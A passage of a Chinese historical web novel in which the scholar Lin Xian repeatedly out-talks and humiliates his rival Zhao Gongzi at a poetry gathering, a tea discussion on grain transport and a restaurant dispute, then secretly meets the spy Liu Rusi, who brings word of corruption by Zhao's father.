另一位老名士须发皆张赞道:“从平淡无奇到空灵悠远,这转折神乎其技。老夫今日方知,诗还可以这样作!”
“林案首大才!我等佩服!”
满场爆发出剧烈的喝彩和掌声,先前质疑的人此刻无不面红耳赤,心服口服。
赵公子脸上的讥讽笑容彻底僵住,脸色由红转白再由白转青。
他本想看林闲出丑,结果对方却用这种举重若轻的方式,结结实实秀了一把操作,反而赢得了满堂彩。
这脸打得,啪啪作响!
他强忍着一口老血喷出的冲动,酸溜溜硬撑道:“哼!不过是……不过是取巧罢了!这等诗句,如同市井数来宝,未免太过儿戏,难登大雅之堂!”
林闲闻言呵呵一笑,转身面向赵公子反将一军道:“哦?赵公子觉得儿戏?诗贵真情实感,有感而发言为心声。难道非要堆砌些姹紫嫣红、冰清玉洁之类的陈词滥调无病**才算好诗?才算大雅?”
他顿了顿,步步紧逼道:“既然赵公子眼界如此之高,看不上林某这儿戏之作,想必胸中必有锦绣华章,是真正不儿戏的惊世之作咯?今日雅集,正当其时,何不让我等俗人也开开眼,学习学习什么叫真正的大雅之堂水平?也让我这一等秀才见识一下,什么才是赵公子口中的好诗?”
这一番连消带打,以其人之道还治其人之身,直接把问题原封不动砸回赵公子脸上!
你不是嫌我儿戏吗?
你行你上啊!
你倒是作一首“不儿戏”的来看看!
“你……!”
赵公子顿时被噎得满脸通红,胸口剧烈起伏,指着林闲你了半天,却一个字也憋不出来。
他肚子里那点墨水,平时附庸风雅、背几首前人诗词还行,真要他在这众目睽睽之下即兴作一首能压过林闲的咏荷诗,简直是痴人说梦。
让他作诗,不如让他当场钻地缝!
在周围一片嗤笑声和看好戏的目光中,赵公子只觉得脸上火辣辣羞愤交加,再也无颜待下去。
他只得狠狠一跺脚,撂下一句:“哼!强词夺理!本公子不屑与你争辩!”
随即便带着跟班,借口尿遁灰溜溜跑别的桌去了。
第一回合交锋,林闲仅用一首看似儿戏的“数数诗”,便轻松写意将挑衅者碾压得颜面扫地。
林闲之才名与急智,更是深入人心。
周学政抚须大笑,对林闲愈发看重。
经此一役,林闲在江南士林中的声望,无疑攀上了一个新高峰。
第六十六章 茶叙交流:再打脸赵公子
赏荷诗会的高潮过后,便是较为轻松的自由交流时间。
莲湖别苑内,士子们三三两两聚在一起,或品评诗词或高谈阔论,气氛热烈。
学政周大人对林闲愈发赏识,特意将他请到一旁临水而建、清幽雅致的水榭中私下交谈,另有几位德高望重的名士作陪。
几人煮茶清谈,话题从经史子集渐渐转向即将到来的秋闱以及当下的时政要务。
周大人捻须微笑,语气中带着关切与期待:“林闲啊,秋闱在即,你准备得如何了?以你之才,高中解元亦非难事,切莫因杂务繁多而懈怠了功课。”他指的自然是林闲那些“不务正业”的产业。
林闲拱手为礼,从容应答:“多谢大人挂怀。学生不敢懈怠,每日必有定课。经义策论,重在学以致用。学生以为,闭门造车不如知行合一,平日打理些庶务,反倒对理解经世致用之学颇有裨益。”他这话既谦虚又自信,听得周大人连连点头。
一位须发皆白的老名士则将话题引向了更实际的层面:“林小友方才论诗别具一格,不知对当下时政,譬如关系国计民生的漕运一事,有何高见?”这问题颇有分量,既考校见识,也暗含试探。
林闲略一沉吟,便侃侃而谈:“老先生垂询,学生姑妄言之。漕运乃朝廷血脉,关乎京师稳定、边关军需,其重要性不言而喻。然学生以为,当前漕运之弊,不在河道淤塞,不在漕船老旧,而在制度僵化、吏治不清、损耗过巨。”他结合前世所知的一些经济管理常识,深入浅出地分析道:“譬如,各环节层层盘剥,‘漂没’(损耗)之名实为贪墨之窟;漕船运行效率低下,空载返航比比皆是;沿河关卡林立,胥吏敲诈,无形中增加成本,最终转嫁于民。若能精简机构,明确权责,严惩贪腐,并鼓励漕船捎带商货,以商补运,或可大幅提升效率,减轻百姓负担。”
他这番见解,既有宏观视野,又切中时弊,提出的建议也颇具可行性,并非空谈。周大人和几位名士听得频频颔首,眼中赞赏之色更浓。那老名士更是击节赞叹:“好一个‘制度僵化、吏治不清’!一针见血!林小友年纪轻轻,能有此等见识,实在难得!”
然而,总有不和谐的音符要破坏这融洽的氛围。
只见赵公子阴魂不散,不知何时也凑到了水榭附近,显然在诗会上吃了瘪,心有不甘,还想找机会扳回一城。他听到林闲对漕运的高论,心中妒火中烧,又觉得找到了可以攻击的“弱点”——你林闲说得头头是道,不过是纸上谈兵,有本事说说具体细节?
他按捺不住,摇着折扇走了进来,脸上堆着假笑,语气却充满了卖弄和挑衅:“林案首高见!真是听君一席话,胜读十年书啊!不过……”他故意顿了顿,吸引众人注意,然后提高音量,带着刁难的意味问道:“本公子有一事不明,想请教一下‘务实’的林案首。您既然对漕运利弊分析得如此透彻,想必对漕运实务也是了如指掌咯?不如给我们说说,这一艘标准的漕船,具体长几丈?宽几尺?吃水几尺深?额定运粮多少石?从淮安到通州,沿途正常损耗几何?异常损耗又通常有多少?”
这一连串问题,极其专业、琐碎、甚至有些刁钻!完全是漕运衙门资深官吏或老练漕工才可能掌握的具体数据。寻常读书人,哪怕是关心时政的,也绝不可能记得这些细节。赵公子此举,摆明了是故意刁难,想让林闲在周大人和众名士面前出丑,证明他之前的宏论不过是“纸上谈兵”,根本不懂实际操作,从而打击他的威信。
水榭内瞬间安静下来,气氛变得有些凝滞。大家都替林闲捏了把汗。周大人也微微蹙眉,面露不悦,觉得赵公子太过分了,这已非学术探讨,而是存心找茬。
林闲心中冷笑,面上却不动声色,甚至嘴角还挂着一丝若有若无的嘲讽。他慢悠悠地端起面前的青瓷茶杯,轻轻吹开浮沫,呷了一口清香四溢的龙井,动作从容不迫,仿佛赵公子问的不是刁钻问题,而是在问今天天气如何。
放下茶杯,他这才抬眼看向一脸得意、等着看他笑话的赵公子,眼神中带着几分戏谑,如同看一个胡闹的孩子,悠然开口:
“赵公子果然‘关心实务’,问得如此……细致入微。不过嘛……”
他故意拉长声音,吊足了所有人的胃口,才不紧不慢地继续说道:
“公子可知,民间有句俗话,叫‘螃蟹打官司——尽是扯皮(钳)’?”
啊?
赵公子一愣,完全没反应过来这莫名其妙的歇后语跟漕船尺寸有什么关系,一脸懵圈。
林闲不等他回答,又慢悠悠抛出一句:
“那公子又可知道,另一句老话叫‘青蛙跳井——扑通(不懂)’?”
“噗——”
旁边一位年轻些的士子已经忍不住笑出声来,赶紧用袖子捂住嘴。
周大人和几位名士先是一怔,随即也明白了林闲的用意,脸上露出忍俊不禁的表情。
这林闲,骂人都不带脏字的!
用两个歇后语调侃完毕,轻松化解了对方的咄咄逼人后,林闲这才神色一正,目光扫过周大人和几位名士,最后落在脸色已经开始发青的赵公子身上,语气平和却带着不容置疑的力量:
“公子所问的,皆是具体执行中的细则数据。这些数据漕运衙门自有档案可查,经办胥吏亦必熟稔。”
他话锋陡然提升,如同利剑出鞘:“然而真正决定漕运利弊、关乎国计民生的关键,从来就不在于一艘船具体长几尺、宽几寸!”
他站起身走到水榭边,指着窗外浩瀚的莲湖朗声道:“在于制度是否合理,能否杜绝贪腐。在于吏治是否清明,能否令行禁止。在于运行是否高效,能否物畅其流!”
他转过身,直视赵公子辩驳:“与其纠结一艘漕船额定装多少石粮食这种细枝末节,不如多思考思考如何通过改进制度、整顿
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吏治、优化流程,让十艘漕船能发挥出十二艘、甚至十五艘船的运力!同时将损耗降到最低!”
“你!”
赵公子语塞。
林闲见状,巧妙将话题拉回眼前的景致道:“这就好比今日我们在此赏荷,与其像稚子般去数一片荷花究竟有多少花瓣儿玩(暗指赵公子问具体数据),不如想想如何让这满湖的荷花、莲藕、莲子,能真正惠及更多百姓,创造价值。赵公子说,是不是这个理儿?”
这一番话如行云流水,一气呵成!
先是用两个幽默的歇后语化解尴尬,调侃对方问的问题不着边际(尽是扯皮)且暴露其无知(不懂)。
然后迅速将话题拔高到制度、吏治、效率的宏观层面,展现了远超对方的视野和格局。
最后又用眼前的荷花巧妙比喻,回归雅集主题,既回避了对方刁钻琐碎的问题,又狠狠反击了对方的浅薄和无理取闹!
“妙!妙极!哈哈哈哈!”周大人再也忍不住,抚掌大笑起来,笑声中充满了畅快和赞赏,“好一个扯皮!好一个不懂!林闲你这张嘴真是……哈哈哈!然其理甚明,由小见大直指根本。老夫佩服!”
“高论!实在是高论!”
几位名士也纷纷击节赞叹道:“不为琐碎所困,直指问题核心,此乃真知灼见!”
“林案首大才!吾等受教了!”
周围顿时响起一片由衷的赞叹和笑声。众人看向林闲的目光,充满了敬佩。
而看向赵公子的目光,则充满了戏谑和同情。
赵公子被林闲这一套“组合拳”打得晕头转向,他感觉自己就像是一记重拳打在了棉花上。
不,是打在了钢板上,还被对方反弹回来,结结实实地砸回自己脸上!
尤其是那两句歇后语,简直成了对他的公开处刑,意思再明显不过:你赵公子就是在“扯皮”,而且根本“不懂”装懂!
他想反驳,却发现林闲的话站在了道理的制高点,他根本无法从宏观层面进行反驳;他想在细节上纠缠,却显得自己更加小家子气和无理取闹。
赵公子张张嘴,却发现一个字也说不出来,只觉得脸上火辣辣的,仿佛被无数道目光鞭挞。
在满水榭的哄笑声和周大人毫不掩饰的赞赏中,赵公子再也无地自容,恨不得找个地缝钻进去。
他狠狠一跺脚,带着几个面红耳赤的跟班,在众人嘲笑声中落荒而逃。
经此两番较量,林闲彻底折服了水榭内的士子。
他“江陵梗王”的名声,恐怕很快就要从省城传遍江南士林了。而赵公子,则再次成为了衬托林闲光芒的背景板。
林闲望向赵公子狼狈逃窜的背影,笑着举杯向诸位名士致意,仿佛刚才只是随手拍飞了一只嗡嗡叫的苍蝇。
秋闱之路注定不会平静,但这些跳梁小丑的屡次挑衅于他而言,不过是磨砺心性的磨刀石,给这略显沉闷的文人聚会,增添几分乐趣罢了。
第六十七章 酒楼争锋
省城赏荷雅集大放异彩之后,林闲并未急于返回江陵府。
他深谙人脉经营之道,深知“独木不成林”。
随即林闲决定趁热打铁,在省城最负盛名的酒楼“望江楼”设宴,款待几位在雅集上结识、且流露出向他靠拢意愿的年轻秀才。
这些秀才大多出身寒微但才学扎实,为人也颇为清正。他们见林闲不仅才名卓著、前途无量,更兼为人随和、毫无架子,自然心生亲近乐意结交。
这日傍晚,华灯初上,江风送爽。
林闲包下望江楼二楼位置最佳、可俯瞰江景的雅间“听涛阁”。
阁内布置清雅,窗外江水滔滔,渔火点点意境极佳。
几位受邀的秀才已陆续到来,林闲作为东道主热情招呼毫无骄矜之色,与众人谈诗论文畅聊时局,气氛融洽和谐。
正当酒菜上齐,众人举杯共饮,言笑晏晏之际。
“轰!”
雅间那精致的门被人一把推开,只见赵公子带着几个满脸横肉的跟班闯了进来。他一脸挑衅,显然是得了风声故意前来搅局找茬的。
“哟!我当是谁这么大手笔,包下了这最好的听涛阁!”
赵公子阴阳怪气地开口,声音尖锐刺耳,目光如探照灯般扫过席上几位衣着朴素、略显局促的秀才,嘴角勾起毫不掩饰的不屑弧度。
“原来是我们的林大案首啊!怎么,如今得了圣眷身份尊贵了,宴请宾客的规格……却还是这般……嗯,朴素?”
赵公子言语间的轻蔑与嘲讽,几乎要溢出来。他刻意贬低林闲宴请的对象,以此打击他的颜面。
几位寒门秀才何曾受过如此当面羞辱?顿时面红耳赤敢怒不敢言,只能尴尬地低下头。
林闲眉头微皱放下手中的酒杯,起身拱手。
他的语气依旧平静无波,仿佛来的不是恶客,而是寻常路人:“原来是赵公子,别来无恙。林某在此宴请几位志同道合的朋友,不知公子突然驾临,有何见教?”
赵公子冷哼一声,用他那柄泥金折扇颇为无礼敲着手心,发出“啪啪”的声响。
见众人眉头紧皱,他趾高气扬喝道:“见教?不敢当!只是本公子今日也要在此宴请几位贵客,恰好看中了这听涛阁。林案首,你看……是不是识相点行个方便,带着你这几位朋友换个地方?”
这已是赤裸裸的仗势欺人,公然抢座丝毫不讲道理。
雅间内的气氛,瞬间降至冰点。
几位秀才都紧张看向林闲,生怕他迫于对方权势而屈服。
然而林闲却笑了,那笑容里带着几分玩味,仿佛在看一场拙劣的表演。
他非但没有动怒,反而笑了笑问道:“原来赵公子也看中了此地。只是……常言道,凡事总有个先来后到。林某已然订下此地,酒菜也已上齐,宾主已然入席。公子此时让林某挪地方,恐怕于情于理都有些说不过去吧?”
他不卑不亢,据理力争,寸步不让。
赵公子把眼一瞪,声音拔高:“林闲!你别给脸不要脸!敬酒不吃吃罚酒!你知道本公子今日请的是谁吗?是布政使司堂堂的刘参军,朝廷命官!耽误了本公子接待刘参军的大事,你一个小小的秀才,担待得起吗?”
他再次抬出官衔来压人,企图用权势让林闲就范。
若是一般毫无背景的秀才,听到“布政使司参军”这样的实权官员名头,恐怕早已吓得魂不附体,忙不迭地让座了。
但林闲是何许人?
连钦差御史、学政大人乃至潜在的王爷都应对过,岂会惧怕一个区区参军的名头?
他故作惊讶,拖长了音调:“哎呀呀——原来是布政使司的刘参军大人要驾临?失敬失敬!”
随即他话锋陡然一转,笑容变得意味深长:“不过嘛,刘参军乃是明理通达之人,想必更重官声清誉。若他得知赵公子为了宴请他,竟不惜以势压人,强占他人先订的席位,将堂堂官府宴饮弄成了市井抢座般的闹剧……”
他摇了摇头叹息道:“恐怕……刘参军非但不会领情,反而会责怪公子行事莽撞、不懂礼数,平白损了官家体面吧?”
林闲顿了顿,不给赵公子反驳的机会。
他的目光扫过雅间内的陈设,最后落在自己面前那杯清香四溢的龙井茶上,随即慢条斯理开始了他的“茶道”教学:“再者说这请客吃饭啊,尤其是宴请贵客,讲究的是个宾主尽欢氛围融洽。就好比品这上等的明前龙井,”
他优雅地端起面前的青瓷茶杯,轻轻嗅了一下茶香,然后小呷一口,闭目回味片刻,才缓缓道:“讲究的是茶叶的产地、采摘
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的时令、炒制的火候,冲泡的水温、乃至品饮的心境。品的是那份清雅韵致,淡然悠远。”
见心知不妙的赵公子想插话,林闲这才放下茶杯,语气陡然变得犀利:“可若是有人,非要用不知存放了多少年的茶梗碎末,拿滚沸的开水不管不顾地猛冲硬泡,还非要梗着脖子说,这就是最好的待客之道,最能体现热情……”
他嘴角勾起一抹嘲讽的弧度,轻轻吐出两个字:“那泡出来的,只怕飘出来的不是茶香,而是——”
林闲故意拉长语调,看着赵公子瞬间铁青的脸色,清晰而缓慢道:“飘出来的,便是一股子馊味了。”
“噗——”
众人霎那间笑喷。
这话文雅到了极点,也毒舌到了极点!直接把赵公子这种仗势欺人、强占座位的行为,比作用最粗暴的方式泡茶,结果只能泡出令人作呕的“馊味”。
既符合他们文人雅士品茶论道的语境,又精准狠辣打了赵公子的脸!
赵公子被这突如其来的贴切比喻噎得脸色由红转紫,他指着林闲哆哆嗦嗦气道:“你……你……”
结果赵公子“你”了半天,却一句话也说不出来。
他身边一个急于表忠心的跟班,见状跳了出来,色厉内荏指着林闲叫道:“林闲你放肆!你……你竟敢将我家公子……比作那馊茶!你该当何罪!”
林闲一脸无辜地看向那个跳脚的跟班,眼神清澈得像是个被冤枉的孩子:“这位兄台,此言差矣。林某何时将赵公子比作馊茶了?林某只是打个比方,阐述一个道理:这待人接物,若是不讲规矩一味强横,就如同拙劣的泡茶手法,再好的心意也难免会变了味道,惹人嫌弃。”
他摊了摊手,语气带着几分无奈的反问:“兄台如此急切地对号入座,莫非是觉得……赵公子今日的言行,恰好就印证了林某这个比方,与这馊味有了什么不解之缘?”
这一下不仅是那个跟班,连赵公子本人也彻底语塞,脸憋成了猪肝色。
林闲这话,简直是把他按在地上摩擦!承认吧,就是自己行为如“馊茶”;不承认吧,又显得自己心虚胡搅蛮缠!
“你……你强词夺理!胡言乱语!”
赵公子气得浑身发抖,最后只能憋出这么一句苍白无力的话。
第六十八章 反客为主:赵公子的溃败
见赵公子被自己一番“茶道”妙喻噎得气急败坏几乎要原地**,林闲反而更加从容不迫。
他先是给了身后几位紧张兮兮的秀才一个安抚的眼神,示意大家稍安勿躁。
然后自己施施然重新落座,仿佛刚才只是品评了一番茶叶,而非进行了一场激烈的言语交锋。
他端起面前那杯龙井,用杯盖轻拨浮叶,语气像在教导不懂事的后辈:“赵公子请暂息怒,林某方才所言并非强词夺理,不过是就事论事与公子探讨这请客待客的基本道理罢了。”
他目光平静扫过赵公子一行人,但每个字都像锤子一样敲在对方的心上:“公子今日宴请布政使司的刘参军,本是好事一桩,足见公子交际广阔重视人情。”
他话锋一转,图穷匕见道:“这请客之道首重诚意,次重规矩。公子若真有诚意宴请刘参军,为何不提前遣人预定这听涛阁?此乃失礼之一。明知此间已有客人,酒席已开却要强行驱赶先来者,此乃失礼之二。更甚者不依不饶,抬出刘参军的官威以势压人,企图逼我就范。”
“林闲你!”
赵公子满脸涨红想要反驳,却被林闲挥手压住。
他叹了口气,语气带着几分“痛心疾首”的惋惜道:“此非待客之道,实为仗势欺人!若此事传扬出去,旁人会如何议论?只怕非但不会觉得公子面子大,反而会认为你行事鲁莽,平白损了刘参军爱惜羽毛的清誉!这岂不是不智之极?公子以为然否?”
这一番话逻辑严密句句在理,更是站在对方(和刘参军)的立场上分析利害,直接把赵公子钉死在了“失礼”、“不智”、“坑队友”的耻辱柱上。
这已经不是在争论座位了,而是在教他做人的基本道理和官场的基本情商!
赵公子被驳得哑口无言,脸上一阵红一阵白,只觉得一股邪火直冲天灵盖,却找不到任何言辞来反驳。
他身边那个蠢笨的跟班还想强行挽尊,结结巴巴地叫道:“酸秀才你…你胡说!我家公子…公子那是…那是给刘参军面子!”
给面子?
林闲像是听到了什么好笑的事情,轻笑一声嘲讽:“用强占别人订好的席位这种方式来给上官面子?这位兄台,你这面子给的,怕是比那街头混混还要霸道几分!莫非刘参军的脸面,是靠着欺负几个守法秀才来彰显的?这要是让刘参军知道了,你猜他是会觉得有面子,还是觉得……丢人丢到家了?”
“噗——”
“哈哈哈!”
这下连最拘谨的秀才都忍不住笑出了声,赶紧低头假装咳嗽。
林闲这话太损了,直接把赵公子的行为类比街头混混,还上升到了侮辱刘参军智商和官声的高度!
就在这时,酒楼的胖掌柜闻讯连滚带爬地赶来。
一看这剑拔**张的场面,尤其是看到赵公子那要**的脸色,吓得魂飞魄散冷汗直流。
他连连作揖打拱:“哎呦喂!二位公子爷息怒,都是小店的不是。赵公子!赵公子您消消气,三楼的揽月轩景致更好更宽敞,小的这就给您安排上。今日酒水全免!全当是小店给公子爷赔罪了!您看……”
掌柜的想打个圆场,给个台阶下。
然而正在气头上的赵公子,哪里肯让步?
他觉得此刻退让就是向林闲认输,就是奇耻大辱!
“滚一边去!”
他一把推开赔笑的掌柜,怒视林闲吼道:“林闲!你少在这里跟本公子掉书袋、讲大道理!本公子不吃这一套!今日这听涛阁,本公子要定了。你让也得让,不让也得让!”
见对方已经彻底蛮不讲理,林闲也不再客气。
他缓缓站起身,原本平和的目光瞬间变得锐利如刀,周身一股难以言喻的凛然气场散发开来。
整个雅间的温度,仿佛都降低了几度。
他冷笑一声,声音不大却清晰传入每个人耳中:“赵公子,你口口声声说要请刘参军,表现的却是这般蛮横无理。我倒要问问你究竟是诚心请客,还是借刘参军之名行跋扈之实,满足你一己私欲炫耀你那点可怜的权势?”
他向前踏出一步,气势陡然提升直指赵公子:“我林闲虽只是一介白衣秀才,功名微末,但也知‘礼义廉耻’四字如何书写。也懂得什么叫先来后到!今日我林闲在此宴请好友,合理合规占着道理!你赵公子若非要依仗家世,行这强抢之事……”
林闲的声音陡然拔高,带着一股不容侵犯的决绝和浩然正气:“那就除非从我林闲身上踏过去!我倒要看看,在这省城之地朗朗乾坤,到底还有没有王法?容不容得下你这般仗势欺人、蛮不讲理!”
这一声质问,掷地有声。
几位秀才被林闲这突如其来的强大气场和凛然风骨彻底感染,只觉得热血上涌,纷纷不自觉地站到了林闲身后,同仇敌忾地怒视着赵公子一行人。
虽然他们人少力微,但此刻在道理和气势上,竟完全压制了对方!
赵公子被林闲这突然爆发的强大气场和决绝态度彻底镇住了,他带来的那几个跟班更是吓得缩起了脖子。
他们习惯欺软怕硬,何曾见过一个秀才敢如此硬怼按察使的公子?这林闲是疯了吗?还是真有天大的依仗?
就在赵公子骑虎难下、进退维谷之际,雅间外传来一阵脚步声。
只见一位身着
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青色官袍、面容清癯、气质沉稳的中年官员,在随从的陪同下走了过来,正是布政使司的刘参军。
他显然在楼下等了许久不见人,便上来查看,恰好将刚才最后那番冲突尽收眼底。
刘参军是个明白人,更是官场老手。
他一看这场面,再结合听到的只言片语,立刻明白了**分——定然是赵公子仗势欺人,想强占人家先订的雅间,结果踢到了铁板,被这位叫林闲的秀才怼得下不来台。
他心中顿时对赵公子的行径生出几分不满,这般鲁莽无礼简直是给自己惹麻烦。
同时他对眼前这位不卑不亢、据理力争、气度不凡的年轻秀才,反而生出了几分欣赏。
刘参军淡淡瞥了脸色煞白的赵公子一眼,语气平和却带着不容置疑的威严:“赵公子,既然此地已有客人,我们另寻他处便是。强占他人先订的席位,非君子所为,传扬出去于你父亲的官声清誉,只怕也有妨碍。”
他这话说得轻描淡写,却如同重锤狠狠敲在赵公子心上,既点明了他的无理,也暗示了可能带来的严重后果(影响他爹的官声)!
连自己请来的“贵客”、最大的倚仗都这么说了,赵公子顿时面如死灰,彻底崩溃。
他感觉自己就像个跳梁小丑,所有的嚣张气焰被林闲踩得粉碎,最后一点脸面也被刘参军这番话剥得干干净净。
赵公子羞愤交加无地自容,只能用尽最后一点力气,恶狠狠地瞪了林闲一眼,撂下一句色厉内荏的狠话:“林闲!你……你给我等着!这事没完!”
说完他再也无颜停留,逃也似的跟着刘参军离开了听涛阁,连背影都透着狼狈和绝望。
经过这场风波,席间的几位秀才对林闲的敬佩简直如同滔滔江水,连绵不绝。
王秀才激动得脸色通红,声音发颤:“闲先生今日真让我等见识了何为风骨,何为正气!不惧权贵,据理力争,论战纨绔,真乃我辈读书人之楷模!”
林闲看着赵公子消失的方向,淡然一笑。
周身那逼人的气场瞬间收敛,又恢复了那副云淡风轻的模样。
他举杯对众人笑道:“诸位过奖了。为人处世当如竹,虚怀若谷然节节有骨。我们不惹事,但也绝不怕事。来,满饮此杯,莫让这等跳梁小丑扰了我们欣赏江景夜色的雅兴!”
“闲先生说得对,干杯!”
众人轰然应诺,气氛空前热烈。
一场风波,以林闲的全面碾压、气场全开而告终。
他在省城年轻士子中的威望和影响力,借此一战达到了前所未有的高度。
而赵公子,则荣膺衬托林闲光辉的背景板……
第六十九章 有女夜访
酒楼争锋,以赵公子狼狈溃逃告终。
事后林闲思虑再三,并未立刻离开省城。
他深知人脉网络的搭建非一日之功,便又在省城盘桓了数日。
白日里他或与新结识的年轻秀才品茶论文巩固情谊,或独自漫步市井。
他看似闲逛,实则不动声色观察着省城官场的暗流涌动。
这日晚间,月华如水,透过客栈的雕花木窗洒入房中。
有些疲惫的林闲正独坐灯下,准备练会吉他让自己快乐一会。
忽然他耳廓微动,听得窗外传来三声极轻、却带着特殊节奏的叩击声——“笃,笃笃”。
林闲心中一动,这是他与某女约定的联络暗号,节奏带着一丝收敛的柔媚。
他不动声色放下书卷,起身轻推开窗户。
月光下,一道窈窕倩影如暗夜中的灵猫,悄无声息滑入房中,只留下一阵若有若无、却足以撩拨心弦的清雅香风。
来客正是柳如丝。
她这次一改之前的素裙装扮,而是换了一身便于夜行的黑色劲装,但依旧能勾勒出绝美的曲线。
烛光映照下她的容颜更显娇媚,只是眉间难掩焦虑。
“如丝姑娘?”
林闲有些意外但很快恢复平静,仿佛对她的造访并不惊奇。
他优雅做了个“请”的手势,指向桌旁的梨花木椅子。
“夜色已深,姑娘怎会冒险来此?可是有要事?”
林闲语气温和,关切道。
柳如丝盈盈一礼。
她并未立刻坐下,而是微微抬头求道:“冒昧深夜打扰先生清静,如丝……实是无奈,是来向先生求药的。”
说着她挽起衣袖,露出一截白皙如玉、却隐约可见细微青紫色缠绕的手腕。
那脉络如同蛇的纹身,透着一种毒的气息。
“近日体内之毒发作得愈发频繁剧烈,先生上次所赠的灵药虽能有效缓解,但由于用量过多……已所剩无几了。”
她的语气,带着难以掩饰的痛苦。
林闲目光扫过柳如丝脉络,心中了然。
赵王用以控制这些核心暗桩的**,定然阴狠霸道。
按毒性,需定期服用特制的缓解药剂方能压制。否则将痛苦难当,甚至有性命之虞。
柳如丝因为帮自己搜集一些信息,所以来不及赶回王府取解药了。
林闲转身从随身携带的行李中,取出一个比上次更精致的白玉小瓶。
这是他近日根据古籍,重新调整配伍,精心提炼的清心凝神露精华版。
林闲将玉瓶递过去宽慰道:“这里面的药性更温和,效力却增强数倍。姑娘每次预感发作前或发作之时,含服三滴于舌下即可,应能大幅缓解痛楚压制毒性。切记!”
他加重了语气补充道:“此药仍为缓解压制之功,意在争取时间。要根除这附骨之疽,尚需找到对应的解毒母方。林某仍在全力钻研,尚需些时日。”
柳如丝颤抖着接过,她将玉瓶攥在手心,仿佛抓住唯一的生机。
林闲见状又放缓声音交代道:“切记,含服后药力会徐徐化开,莫要心急吞咽。”
似乎要亲自示范,他伸手取过桌上的青瓷杯。随即提起红泥火炉上温着的清水,为柳如丝斟了半杯温水。
“先喝口水,稳一稳心神。”
林闲将温水轻推至女子面前,目光平静而关切。
柳如丝显然没料到林闲会如此细致,微微一怔,抬眸望向他。
烛光下他眉眼间的专注与柔和,与她平日里接触的那些或威严、或贪婪、或虚伪的面孔截然不同。
一股难以言喻的暖流悄然涌上心头,混合着感激与一丝莫名的悸动。
“嗯~”
她依言端起茶杯,小口啜饮着温水。温热的水流滑过喉咙,稍稍驱散了体内的寒意和不安。
见柳如丝喝完,林闲示意她拿出那个玉瓶,拔开以蜜蜡封存的小塞。
顿时,一股清冽的药香弥漫开来。
林闲温声道:“姑娘此刻气息未平,还是林某代为取药吧,以免洒了这药甚是可惜。”
柳如丝闻言耳根微微泛红,轻轻“嗯”了一声,算是默许。
她微微仰起头,带着一种全然信赖的姿态等待着。
林闲手持玉瓶,小心倾斜瓶身。
只见三滴晶莹剔透、宛如琥珀般的药液,精准滴在柳如丝微张的檀口中。
药液触及舌面,带来一阵极清凉的刺激,让柳如丝不由自主轻吸口气,喉间发出一声极细微的呜咽。
“含住,慢慢化开。”
林闲的声音清晰引导着,目光落在她唇上,密切观察着她用药后的反应。
柳如丝依言照做。
她贝齿轻合,将药液含在舌下。
很快那药香迅速在口中弥漫开,一股温和的暖流从喉间向身体各处扩散。
所过之处,原本因毒性隐隐躁动带来的痛楚,竟迅速缓解消退。
柳如丝甚至能感觉到,那几道盘踞在手腕经脉中的青紫痕迹,也似乎淡去了少许。
这种立竿见影的舒缓,让她紧绷的神经彻底放松。
一种劫后余生的虚脱和巨大的安心感交织涌上。柳如丝长舒一口气,脸上恢复了几分血色。
她抬眸看着近在咫尺的林闲,心中最柔软的地方被彻底触动。
方才他亲自俯身喂药时,两人距离极近。
柳如丝甚至能闻到林闲身上淡淡的书卷气和皂角清香,那药香混合间让人无比心安。
“多谢先生!如丝…真不知何以为报!”
柳如丝声音微哑致谢,指尖下意识摩挲着白玉瓶。
“别客气,互相帮助,柳姑娘却也帮林某验证了功效。”
林闲笑了笑打趣道。
突然柳如丝想起什么,向前凑近请示:“先生,如丝此次冒险前来除求药外,还有一事,不得不禀报先生。”
林闲目光微凝问:“哦?姑娘但说无妨,此处应无六耳。”
柳如丝深吸一口气,才继续低语道:“如丝近日在省城奉命活动,偶然间听到一些风声。是关于赵公子之父,按察使赵宪赵大人的……”
她顿了顿,观察了一下林闲的神色才继续道:“听闻赵大人在漕粮转运和几桩刑名案卷上,手脚似乎不甚干净。”
林闲心中一震,表面却不动声色。
只是眼神更加深邃,示意她继续说下去。
“细节如丝尚未完全掌握,”
柳如丝语气谨慎道:“但听闻他与某些漕帮的头目过往甚密,在历年漕粮漂没的账目上做了手脚,中饱私囊数额恐怕不小。”
见林闲听的很认真,柳如丝这才继续补充:“此外他似乎还插手了几桩涉及地方豪强的诉讼,收受了重贿,扭曲案情制造冤狱……此事牵连似乎不小,背后可能……还有更高层级的默许或参与。”
她说到“更高层级”时,声音几乎细不可闻,但眼神明确指向京城赵王府。
这情报,如投入平静湖面的巨石!
省三品按察使,掌管刑名、监察百官,乃是封疆大吏般的存在,若其本人贪赃枉法,尤其是涉及漕运(国家命脉)和刑狱(司法公正),这无疑是足以掀起滔天巨浪的绝佳把柄。
而且牵扯到可能的王府背景,其敏感度和价值更是难以估量!
林闲沉吟片刻,手指在桌面上轻轻敲击,大脑飞速运转。
他看向柳如丝,问题直指核心:“此等密报干系重大,可谓惊天。须知此事若被赵王或其党羽察觉分毫,姑娘的处境恐怕比毒发还要凶险万分。”
柳如丝抬起头,目光迎上林闲的审视,没有丝毫闪躲。
烛光下,她的眼眸漾着复杂的波光,有恐惧有决绝,更有一丝难以言喻的情愫:“先生明鉴。如丝……如丝已决心追随先生,再无二心!”
她的语气,带
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着破釜沉舟的决绝:“赵王视我等如棋子草芥,用这等阴毒手段控制,呼之即来挥之即去,何曾有过半分怜惜?唯有先生待我以诚,救我于水火,更以道理相待。如丝虽是一介女流命如飘萍,也知良禽择木而栖,贤臣择主而事的道理,更懂得知恩图报。妾身愿以此残躯,为先生效犬马之劳,虽九死其犹未悔!”
这番话说得情真意切掷地有声,将一个身处绝境、终于找到依靠的小女子心态,表露无遗。
林闲看着柳如丝眸子里那份做不得假的依赖及隐约的情丝,心中了然。
这枚棋子,已经彻底被自己“策反”了,而且忠诚度相当可观。
他需要这份重磅情报,也需要将这颗钉子更深、更牢钉在赵王势力的心脏地带。
“姑娘赤诚之心,林某感佩不已。”
林闲正色感谢,随即专门强调道:
“既如此林某便不再虚言。此事关系重大,可谓牵一发而动全身。姑娘今后行事需万分谨慎如履薄冰,切莫轻易涉险探查以免打草惊蛇。情报固然重要,但姑娘的安危,更是重中之重。”
柳如丝闻言,眼中闪过一丝感动,她用力点头:“先生关怀如丝铭记于心,定会小心行事。”
